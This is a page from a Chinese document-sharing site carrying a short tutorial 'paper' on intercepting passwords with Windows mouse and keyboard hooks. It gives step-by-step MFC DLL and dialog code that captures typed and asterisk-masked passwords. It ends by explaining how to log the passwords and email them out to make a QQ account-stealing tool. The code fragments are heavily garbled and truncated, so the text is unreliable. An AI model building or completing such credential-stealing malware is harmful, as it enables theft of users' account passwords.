欢迎来到天天文库
浏览记录
ID:10599473
大小:50.00 KB
页数:0页
时间:2018-07-07
《利用鼠标键盘钩子截获密码论文》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库。
1、利用鼠标键盘钩子截获密码论文钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的钩子分类:1、OUSE鼠标钩子11、OUSE_LL底层鼠标钩子12、SGFILTER和SGFILTER使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetlParam)参数和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。实例:下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说
2、明何何使用钩子。1,进入向导,新建MFCAppFCExtensionDLL,完成。2,新建一个CGetPassHook类,基类:CObject,并加入StartHook,StopHook,函数,如下:classAFX_EXT_CLASSCGetPassHook:publicCObject{public:BOOLStopHook();BOOLStartHook(HouseHook=NULL;file://mousehookHINSTANCEglhInstance=NULL;file://globleinstanceHo
3、useHookProc(intnCode,,LPARAMlParam){file://鼠标钩子得理函数LPMOUSEHOOKSTRUCTlpMouse=(MOUSEHOOKSTRUCTFAR*)lParam;if(nCode=0){H,LPARAMlParam){file://keyboardhookprocif(nCode=0){HlParam);hAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:externHINSTANCEglhInstance;file://记得这里exte
4、rn"C"intAPIENTRYDllMain(HINSTANCEhInstance,Dodule(GetPassDLL);}return1;//ok}9:编译,完成DLL部分,下面建立APP部分。如下:1:新建MFCAppESSAGE_MAP()};4:在实现文件中:OnInitDialog()中起动HOOKBOOLCGetPass(IDC_EDIT_PASS);m_hook.StartHook(pWnd-GetSafeH_hook.StopHook();file://stophook}6:将GetPass.dll
5、拷贝到。EXE一个目录下,7:编译,运行.这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。
此文档下载收益归作者所有